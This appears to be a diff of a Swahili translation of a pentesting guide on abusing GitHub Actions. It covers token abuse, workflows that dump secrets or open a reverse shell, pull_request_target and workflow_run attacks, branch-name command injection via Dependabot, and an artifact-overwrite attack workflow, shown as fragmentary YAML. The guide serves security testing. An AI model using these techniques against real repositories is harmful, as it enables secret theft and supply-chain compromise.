Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -4,55 +4,55 @@
 
 ## Zana
 
-Zana zifuatazo zinasaidia kutafuta Github Action workflows na hata kupata zile zilizo hatarishi:
+Zana zifuatazo zinafaa kutafuta Github Action workflows na hata kubaini zile zilizo dhaifu:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Angalia pia checklist yake katika [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Angalia pia checklist yake kwenye [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Taarifa za Msingi
 
-Kwenye ukurasa huu utapata:
+Katika ukurasa huu utapata:
 
-- Muhtasari wa **madhara yote** ya mshambuliaji kufanikiwa kupata ufikiaji wa Github Action
+- Muhtasari wa **athari zote** za mshambulizi anapofanikiwa kupata ufikiaji wa Github Action
 - Njia tofauti za **kupata ufikiaji wa action**:
-- Kupewa **idhini** za kuunda action
+- Kuwa na **idhini** ya kuunda action
 - Kutumia vibaya vichocheo vinavyohusiana na **pull request**
-- Kutumia vibaya **mbinu nyingine za ufikiaji wa nje**
-- **Pivoting** kutoka repo iliyoshambuliwa tayari
-- Mwisho, sehemu kuhusu **post-exploitation techniques za kutumia action kutoka ndani** (kusababisha madhara yaliyotajwa)
+- Kutumia vibaya mbinu nyingine za **ufikiaji wa nje**
+- **Pivoting** kutoka kwenye repo iliyoshambuliwa tayari
+- Hatimaye, sehemu kuhusu **post-exploitation techniques to abuse an action from inside** (kusababisha athari zilizotajwa)
 
-## Muhtasari wa Madhara
+## Muhtasari wa Athari
 
-Kwa utangulizi kuhusu [**Github Actions angalia taarifa za msingi**](../basic-github-information.md#github-actions).
+For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Ikiwa unaweza **execute arbitrary code in GitHub Actions** ndani ya **repository**, unaweza kuwa na uwezo wa:
+Kama unaweza **kutekeleza nambari yoyote katika GitHub Actions** ndani ya **repo**, unaweza:
 
-- **Steal secrets** zilizowekwa kwenye pipeline na **abuse the pipeline's privileges** kupata ufikiaji usioidhinishwa kwa platforms za nje, kama AWS na GCP.
-- **Compromise deployments** na **artifacts** nyingine.
-- Ikiwa pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, hivyo kuwezesha supply chain attack.
-- **Execute code in custom workers** ili kutumia nguvu za kompyuta vibaya na **pivot** kwenda kwenye mifumo mingine.
-- **Overwrite repository code**, kulingana na ruhusa zinazohusiana na `GITHUB_TOKEN`.
+- **Kuiba secrets** zilizowekwa kwenye pipeline na **kutumia vibaya ruksa za pipeline** ili kupata ufikiaji usioidhinishwa kwa platforms za nje, kama AWS na GCP.
+- **Kuharibu deployments** na artifacts nyingine.
+- Ikiwa pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, ikiruhusu supply chain attack.
+- **Kutekeleza code kwenye custom workers** ili kutumia nguvu za kompyuta na ku-pivot kwenda mifumo mingine.
+- **Kuandika upya msimbo wa repository**, kulingana na idhini zinazohusiana na `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Hii "**secret**" (inayotoka kwa `${{ secrets.GITHUB_TOKEN }}` na `${{ github.token }}`) hutolewa wakati admin anawasha chaguo hili:
+Hii "**siri**" (inayotoka kwa `${{ secrets.GITHUB_TOKEN }}` na `${{ github.token }}`) hutolewa wakati admin anawasha chaguo hili:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Token hii ni ile ile itakayotumika na **Github Application**, hivyo inaweza kupata endpoints zile zile: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github inapaswa kutoa a [**flow**](https://github.com/github/roadmap/issues/74) ambayo **unaruhusu cross-repository** access ndani ya GitHub, hivyo repo inaweza kufikia repos nyingine za ndani kwa kutumia `GITHUB_TOKEN`.
+> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
-Unaweza kuona **permissions** zinazowezekana za token hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Unaweza kuona **idhini** zinazowezekana za tokeni hii katika: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Kumbuka kuwa token **huisha baada ya job kukamilika**.  
-Tokens hizi zinaonekana hivi: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Kumbuka kuwa tokeni **itaisha baada ya job kumalizika**.\
+Tokeni hizi zinaonekana kama hii: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Baadhi ya mambo ya kuvutia unaweza kufanya na token hii:
+Baadhi ya mambo ya kuvutia unayoweza kufanya na tokeni hii:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Kumbuka kwamba katika nyakati kadhaa utaweza kupata **github user tokens inside Github Actions envs or in the secrets**. Tokens hizi zinaweza kukupa ruhusa zaidi kwenye repository na organization.
+> Kumbuka kwamba katika nyakati kadhaa utaweza kupata **github user tokens inside Github Actions envs or in the secrets**. Tokens hizi zinaweza kukupa ruhusa zaidi juu ya repository na organization.
 
 <details>
 
-<summary>List secrets in Github Action output</summary>
+<summary>Orodhesha secrets katika output ya Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Pata reverse shell ukitumia secrets</summary>
+<summary>Pata reverse shell na secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika repositories za watumiaji wengine **checking the logs** of the actions:
+Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika repositories za watumiaji wengine kwa kuangalia logs za actions:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## Utekelezaji Ulioruhusiwa
 
 > [!NOTE]
-> Hii ingekuwa njia rahisi zaidi ya compromise Github actions, kwani kesi hii inadhani kwamba una upatikanaji wa **create a new repo in the organization**, au una **write privileges over a repository**.
+> Hii ingekuwa njia rahisi zaidi ya kucompromise Github actions, kwani kesi hii inadhani una ufikiaji wa **create a new repo in the organization**, au una **write privileges over a repository**.
 >
-> Ikiwa uko katika hali hii unaweza tu angalia [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
+> Ikiwa uko katika senario hii unaweza tu kuangalia [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Utekelezaji kupitia Kuunda Repo
+### Utekelezaji kutoka kwa Uundaji wa Repo
 
-Ikiwa wanachama wa organization wanaweza **create new repos** na unaweza execute github actions, unaweza **create a new repo and steal the secrets set at organization level**.
+Ikiwa wanachama wa organization wanaweza **create new repos** na unaweza kutekeleza github actions, unaweza **create a new repo and steal the secrets set at organization level**.
 
-### Utekelezaji kutoka kwenye Tawi Jipya
+### Utekelezaji kutoka kwa Branch Mpya
 
-Ikiwa unaweza **create a new branch in a repository that already contains a Github Action** iliyosanidiwa, unaweza **modify** hiyo, **upload** yaliyomo, kisha **execute that action from the new branch**. Kwa njia hii unaweza **exfiltrate repository and organization level secrets** (lakini unahitaji kujua jinsi zinavyoitwa).
+Ikiwa unaweza **create a new branch in a repository that already contains a Github Action** iliyosanidiwa, unaweza **modify** hiyo action, **upload** content, kisha **execute that action from the new branch**. Kwa njia hii unaweza **exfiltrate repository and organization level secrets** (lakini unahitaji kujua jinsi zinavyoitwa).
 
 > [!WARNING]
-> Kizuizi chochote kilichotekelezwa ndani tu ya workflow YAML (kwa mfano, `on: push: branches: [main]`, job conditionals, au manual gates) kinaweza kuhaririwa na collaborators. Bila utekelezaji wa nje (branch protections, protected environments, and protected tags), mchangiaji anaweza retarget workflow ili iendeshwe kwenye tawi lao na abuse mounted secrets/permissions.
+> Kizuizi chochote kilichotekelezwa ndani tu ya workflow YAML (kwa mfano, `on: push: branches: [main]`, job conditionals, au manual gates) kinaweza kuhaririwa na collaborators. Bila utekelezaji wa nje (branch protections, protected environments, and protected tags), contributor anaweza kuretarget workflow ili iendeshe kwenye branch yao na kutumia vibaya mounted secrets/permissions.
 
-Unaweza kufanya action iliyobadilishwa iwe executable **manually,** wakati **PR is created** au wakati **some code is pushed** (kutegemea jinsi unataka kuwa noisy):
+Unaweza kufanya action iliyobadilishwa iwe executable **manually,** wakati **PR is created** au wakati **some code is pushed** (kulingana na ni jinsi gani unataka kuonekana):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -183,46 +183,46 @@ branches:
 ## Utekelezaji uliotokana na fork
 
 > [!NOTE]
-> Kuna trigger tofauti ambazo zinaweza kumruhusu mshambuliaji **execute a Github Action of another repository**. Ikiwa actions hizo zinazoweza kuchochewa zimewekwa vibaya, mshambuliaji anaweza kuwa na uwezo wa kuzijeruza.
+> Kuna triggers tofauti ambazo zinaweza kumruhusu mshambuliaji kuendesha a Github Action ya repository nyingine. Ikiwa actions hizo zinazoweza kuamsha zimewekwa vibaya, mshambuliaji anaweza kuziharibu.
 
 ### `pull_request`
 
-Trigger ya workflow **`pull_request`** itaendesha workflow kila wakati pull request inapopokelewa, na baadhi ya ubaguzi: kwa default, ikiwa ni **mara ya kwanza** unafanya **kushirikiana**, baadhi ya **maintainer** watahitaji **kuidhinisha** **run** ya workflow:
+Trigger ya workflow **`pull_request`** itaendesha workflow kila mara pull request inapopokelewa kwa baadhi ya utofauti: kwa chaguo-msingi ikiwa ni **mara ya kwanza** unashirikiana, **maintainer** fulani atalazimika **kuidhinisha** **run** ya workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Kwa kuwa **kizuizi cha default** ni kwa **wachangiaji wa mara ya kwanza**, unaweza kuchangia kwa **kurekebisha bug/typo halali** kisha kutuma **PR nyingine ili kutumia vibaya haki zako mpya za `pull_request`**.
+> Kwa vile **kikomo cha chaguo-msingi** ni kwa wachangiaji wa **mara ya kwanza**, unaweza kuchangia kwa **kurekebisha bug/typo halali** kisha kutuma **PR nyingine ili kutumika vibaya mamlaka yako mpya ya `pull_request`**.
 >
-> **Nilijaribu hili na haliwezi kufanya kazi**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **Nimejaribu hili na halifanyi kazi**: ~~Chaguo jingine lingekuwa kuunda akaunti kwa jina la mtu aliyetoa mchango kwa project na kufuta akaunti yake.~~
 
-Zaidi ya hayo, kwa default **inazuia ruhusa za kuandika** na **upatikanaji wa secrets** kwa repository lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Zaidi ya hayo, kwa chaguo-msingi **huzuia write permissions** na **access ya secrets** kwa repository lengwa kama ilivyoelezwa katika [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> Isipokuwa `GITHUB_TOKEN`, **secrets hazipitishiwi kwa runner** wakati workflow inapochochewa kutoka kwa **forked** repository. `GITHUB_TOKEN` ina **read-only permissions** katika pull requests kutoka kwa forked repositories.
 
-Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza vitu vilivyohitajika na kuongeza actions nyingine yoyote. Hata hivyo, mshambuliaji hatoweza kuiba secrets au kuandika juu ya repo kwa sababu ya vikwazo vilivyotajwa.
+Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kuendesha vitu vya hiari na kuongeza actions za hiari. Hata hivyo, hatoweza kuiba secrets wala kuandika juu ya repo kwa sababu ya vikwazo vilivyotajwa.
 
 > [!CAUTION]
-> **Ndio, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake ndiyo itakayotumiwa na si ile kutoka repo ya asili!**
+> **Ndiyo, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake ndiyo itakayotumika na si ile ya repo ya asili!**
 
-Kwa kuwa mshambuliaji anadhibiti pia msimbo unaotekelezwa, hata kama hakuna secrets au ruhusa za kuandika kwenye `GITHUB_TOKEN`, mshambuliaji anaweza kwa mfano **kupakia artifacts zilizo na madhara**.
+Kwa kuwa mshambuliaji pia anasimamia code inayotekelezwa, hata kama hakuna secrets au write permissions kwenye `GITHUB_TOKEN`, mshambuliaji anaweza kwa mfano upload artifacts zenye madhara.
 
 ### **`pull_request_target`**
 
-Trigger ya workflow **`pull_request_target`** ina **ruhusa za kuandika** kwa repository lengwa na **upatikanaji wa secrets** (na haitaji idhini).
+Trigger ya workflow **`pull_request_target`** ina **write permission** kwa repository lengwa na **access kwa secrets** (na haiombi ruhusa).
 
-Kumbuka kwamba trigger ya workflow **`pull_request_target`** **inaendesha katika base context** na si ile iliyopewa na PR (ili **kutoendesha code isiyoaminika**). Kwa maelezo zaidi kuhusu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi hatari haya angalia hii [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Kumbuka kwamba trigger ya workflow **`pull_request_target`** **inaendesha katika base context** na si ile iliyopewa na PR (ili **kutoendesha code isiyothibitishwa**). Kwa maelezo zaidi kuhusu `pull_request_target` [**angalia docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Zaidi ya hayo, kwa maelezo kuhusu matumizi hatari ya hili angalia hii [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Inaweza kuonekana kwa sababu **executed workflow** ni ile iliyoainishwa katika **base** na **si katika PR** ni **salama** kutumia **`pull_request_target`**, lakini kuna **matukio machache ambapo sio**.
+Inaweza kuonekana kwa sababu workflow inayotekelezwa ni ile iliyoelezwa katika **base** na si ile iliyo kwenye PR ni **salama** kutumia **`pull_request_target`**, lakini kuna **matukio kadhaa ambapo si salama**.
 
-Na hii itakuwa na **upatikanaji wa secrets**.
+Na hii itakuwa na **access kwa secrets**.
 
 ### `workflow_run`
 
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger inaruhusu kuendesha workflow kutoka kwa nyingine wakati ime `completed`, `requested` au `in_progress`.
+Trigger ya [**`workflow_run`**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) inaruhusu kuendesha workflow kutoka kwa nyingine pale inapokamilika, inapohitajika au wakati iko in_progress.
 
-Katika mfano huu, workflow imewekwa ili kuendesha baada ya workflow tofauti "Run Tests" kukamilika:
+Katika mfano huu, workflow imewekwa ili iendeshe baada ya workflow tofauti "Run Tests" kukamilika:
 ```yaml
 on:
 workflow_run:
@@ -232,27 +232,27 @@ types:
 ```
 Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-Aina hii ya workflow inaweza kushambuliwa ikiwa ina **tegemezi** ya **workflow** inayoweza **kuzingishwa** na mtumiaji wa nje kupitia **`pull_request`** au **`pull_request_target`**. Mifano michache iliyo hatarini inaweza kupatikana katika [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Kwanza inahusisha workflow iliyozinduliwa na **`workflow_run`** kupakua code ya mshambuliaji: `${{ github.event.pull_request.head.sha }}`\
-Pili inahusisha **kupitisha** **artifact** kutoka kwa code **isiyo ya kuaminika** hadi workflow ya **`workflow_run`** na kutumia yaliyomo katika artifact kwa njia inayofanya iwe **nyeti kwa RCE**.
+Aina hii ya workflow inaweza kushambuliwa ikiwa inategemea workflow ambayo inaweza kuanzishwa na mtumiaji wa nje kupitia **`pull_request`** au **`pull_request_target`**. Mifano michache iliyoharibika inaweza kupatikana kwenye [**this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Mfano wa kwanza unahusisha workflow iliyozinduliwa na **`workflow_run`** kushusha attackers code: `${{ github.event.pull_request.head.sha }}`\
+Mfano wa pili unahusisha **kupitisha** artifact kutoka kwa untrusted code kwenda kwa workflow ya **`workflow_run`** na kutumia maudhui ya artifact hii kwa njia inayoifanya iwe **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Angalia ikiwa wakati inatekelezwa kutoka kwa `pull_request` code inayotumika/ilipakuliwa ni ile kutoka repo ya asili au ile kutoka kwa PR iliyoforkiwa
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
-## Kutumia Vibaya Utekelezaji wa Forked
+## Kutumiwa Mbaya kwa Utekelezaji wa Forked
 
-Tumeelezea njia zote ambazo mshambuliaji wa nje anaweza kutumia kufanya github workflow itekelezwe; sasa tuchunguze jinsi utekelezaji huo, ukipangwa vibaya, unavyoweza kutumiwa vibaya:
+Tumezitaja njia zote ambazo external attacker anaweza kutumia kusababisha github workflow iendeshe; sasa tuangalie jinsi utekelezaji huu, ukiwe umebadilishwa vibaya (misconfigured), unaweza kutumiwa vibaya:
 
 ### Untrusted checkout execution
 
-Katika kesi ya **`pull_request`**, workflow itaendeshwa katika **context ya PR** (hivyo itatekeleza **code ya PR yenye madhara**), lakini mtu lazima **aiidhinishe kwanza** na itaendeshwa kwa baadhi ya [limitations](#pull_request).
+Katika kesi ya **`pull_request`**, workflow itatekelezwa katika context ya PR (kwa hivyo itatekeleza malicious PRs code), lakini mtu lazima aidhinishe kwanza na itaendesha kwa baadhi ya [limitations](#pull_request).
 
-Katika kesi ya workflow inayotumia **`pull_request_target` au `workflow_run`** ambayo inategemea workflow inayoweza kuzinduliwa kutoka **`pull_request_target` au `pull_request`**, code kutoka repo ya asili itatekelezwa, hivyo **mshambuliaji hawezi kudhibiti code itakayotekelezwa**.
+Katika kesi ya workflow inayotumia **`pull_request_target` or `workflow_run`** ambayo inategemea workflow inayoweza kuzinduliwa kutoka **`pull_request_target` or `pull_request`**, code kutoka repo ya asili itatekelezwa, kwa hivyo **attacker cannot control the executed code**.
 
 > [!CAUTION]
-> Hata hivyo, ikiwa **action** ina **explicit PR checkou**t ambayo ita**pata code kutoka PR** (na si kutoka base), itatumia code inayodhibitiwa na mshambuliaji. Kwa mfano (angalia mstari 12 ambapo code ya PR inapopakuliwa):
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
 </code></pre>
 
-Code inayoweza kuwa **isiyo ya kuaminika inaendeshwa wakati wa `npm install` au `npm build`** kwani build scripts na referenced **packages zinadhibitiwa na mwandishi wa PR**.
+Potentially the **untrusted code is being run during `npm install` or `npm build`** since the build scripts and referenced **packages are controlled by the author of the PR**.
 
 > [!WARNING]
-> Dork ya github kutafuta actions zilizo hatarini ni: `event.pull_request pull_request_target extension:yml` hata hivyo, kuna njia tofauti za kusanidi jobs ziendeshwe kwa usalama hata kama action imewekwa bila usalama (kama kutumia conditionals kuhusu ni nani actor anayetengeneza PR).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Kumbuka kuwa zipo baadhi ya [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambazo thamani zao zinadhibitiwa na **mtumiaji** anayefungua PR. Ikiwa github action inatumia data hiyo **kufanya chochote kutekelezwa**, inaweza kusababisha **utekelezaji wa code yoyote:**
+Kumbuka kwamba zipo baadhi ya [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) ambazo values zake zinadhibitediwa na **user** anayesababisha PR. Ikiwa github action inatumia data hiyo **kufanya execute kitu chochote**, inaweza kusababisha **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Kulingana na nyaraka: Unaweza kufanya environment variable ipatikane kwa hatua zozote zinazofuata katika job ya workflow kwa kuainisha au kusasisha environment variable na kuandika hili kwenye faili la mazingira **`GITHUB_ENV`**.
+Kulingana na docs: Unaweza kufanya environment variable ipatikane kwa any subsequent steps katika workflow job kwa kuiunda au ku-update environment variable na kuandika hii kwenye **`GITHUB_ENV`** environment file.
 
-Ikiwa mshambuliaji anaweza **kuingiza thamani yoyote** ndani ya variable hii ya **env**, anaweza kuingiza env variables ambazo zinaweza kusababisha utekelezaji wa code katika hatua zinazofuata kama **LD_PRELOAD** au **NODE_OPTIONS**.
+Ikiwa attacker anaweza **kuingiza value yoyote** ndani ya env variable hii, anaweza kuingiza env variables ambazo zinaweza kuendesha code katika hatua zifuatazo kama **LD_PRELOAD** au **NODE_OPTIONS**.
 
-Kwa mfano ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria workflow inayomwamini artifact iliyopakiwa kuhifadhi yaliyomo ndani ya variable ya env **`GITHUB_ENV`**. Mshambuliaji anaweza kupakia kitu kama hiki ili kuiingilia:
+Kwa mfano ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), fikiria workflow inayomwamini uploaded artifact kuhifadhi maudhui yake ndani ya **`GITHUB_ENV`** env variable. Attacker anaweza upload kitu kama hiki kumkomboa:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot and other trusted bots
 
-Kama ilivyoonyeshwa katika [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), mashirika kadhaa zina Github Action inayochanganya merges za PR kutoka kwa `dependabot[bot]` kama ifuatavyo:
+Kama ilivyoelezwa katika [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), mashirika kadhaa yana Github Action inayochanganya PR yoyote kutoka `dependabot[bot]` kama katika:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Hii ni tatizo kwa sababu uwanja wa `github.actor` unaonyesha user aliyesababisha tukio la mwisho lililochochea workflow. Na kuna njia kadhaa za kufanya mtumiaji `dependabot[bot]` abadilishe PR. Kwa mfano:
+Hii ni tatizo kwa sababu uwanja `github.actor` unaonyesha mtumiaji aliyehusika na tukio la mwisho lililochochea workflow. Na kuna njia kadhaa za kufanya mtumiaji `dependabot[bot]` aibadilishe PR. Kwa mfano:
 
-- Fork the victim repository
-- Add the malicious payload to your copy
-- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
-- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
-- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
-- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
+- Fanya fork ya repository la mwathiriwa
+- Ongeza payload ya kuharibu kwenye nakala yako
+- Washa Dependabot kwenye fork yako kwa kuongeza dependency isiyo ya sasa. Dependabot ataunda branch kurekebisha dependency hiyo akiwa na malicious code.
+- Fungua Pull Request kwa repository la mwathiriwa kutoka branch hiyo (PR itaundwa na mtumiaji kwa hivyo bado hakuna kitakachotokea)
+- Kisha, mshambulizi anarudi kwenye PR ya awali ambayo Dependabot alifungua kwenye fork yake na anafanya `@dependabot recreate`
+- Kisha, Dependabot hufanya baadhi ya vitendo kwenye branch hiyo, vinavyobadilisha PR kwenye repo la mwathiriwa, jambo ambalo linafanya `dependabot[bot]` kuwa actor wa tukio la mwisho lililochochea workflow (na kwa hivyo, workflow inaendeshwa).
 
-Endelea, je ikiwa badala ya merging, Github Action ingekuwa na command injection kama ifuatavyo:
+Endelea, je, badala ya merging Github Action ingekuwa na command injection kama ifuatavyo:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Kwenye blogpost ya awali ilipendekeza chaguzi mbili za kutumia tabia hii; hii ya pili ni:
+Kwa kweli, mchapisho wa blogu la asili linapendekeza chaguzi mbili za kutumia tabia hii; chaguo la pili ni:
 
-- Fork repository ya mwathiriwa na wezesha Dependabot kwa dependency iliyochakaa.
-- Unda branch mpya yenye malicious shell injection code.
-- Badilisha default branch ya repo kuwa hiyo.
-- Unda PR kutoka branch hii kwenda repository ya mwathiriwa.
-- Endesha `@dependabot merge` kwenye PR ambayo Dependabot alifungua kwenye fork yake.
-- Dependabot ata-merge mabadiliko yake kwenye default branch ya fork yako, ikiboresha PR kwenye repository ya mwathiriwa na kuifanya sasa `dependabot[bot]` kuwa actor wa tukio la mwisho lililochochea workflow na kutumia jina la branch lenye madhara.
+- Fork the victim repository and enable Dependabot with some outdated dependency.
+- Create a new branch with the malicious shell injection code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Github Actions za wahusika wa tatu zenye udhaifu
+### Github Actions za Wahusika wa Tatu Zilizo Vunikika
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Kama ilivyoelezwa katika [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), Github Action hii inaruhusu kufikia artifacts kutoka workflows tofauti na hata repositories.
+Kama ilivyotajwa katika [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), Github Action hii inaruhusu kufikia artifacts kutoka workflows tofauti na hata repositories.
 
-Tatizo ni kwamba ikiwa parameter ya **`path`** haijawekwa, artifact inachomolewa katika current directory na inaweza kuandika juu ya faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Kwa hiyo, ikiwa Artifact ina udhaifu, attacker anaweza kuitumia kuathiri workflows nyingine zinazoitegemea Artifact.
+Tatizo ni kwamba ikiwa parameter ya **`path`** haijawekwa, artifact inafukuliwa kwenye directory ya sasa na inaweza kuandika juu ya faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact iko vunikika, mshambuliaji anaweza kuvitumia hivi kuathiri workflows nyingine zinazomwamini Artifact.
 
-Mfano wa workflow iliyo na udhaifu:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -376,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Hii inaweza kushambuliwa kwa mtiririko huu wa kazi:
+Hii inaweza kushambuliwa kwa workflow ifuatayo:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -393,27 +393,27 @@ path: ./script.py
 ```
 ---
 
-## Ufikiaji wa Nje Nyingine
+## Other External Access
 
 ### Deleted Namespace Repo Hijacking
 
-If an akaunti changes it's name another user could register an akaunti with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha kwa jina hilo baada ya muda. Ikiwa repository ilikuwa na **chini ya 100 stars kabla ya mabadiliko ya jina**, Github itamruhusu mtumiaji mpya aliyejisajili kwa jina lile kuunda **repository yenye jina sawa** na ile iliyofutwa.
 
 > [!CAUTION]
-> Hivyo ikiwa an action inatumia repo kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba an attacker anaweza kuunda akaunti hiyo na compromise the action.
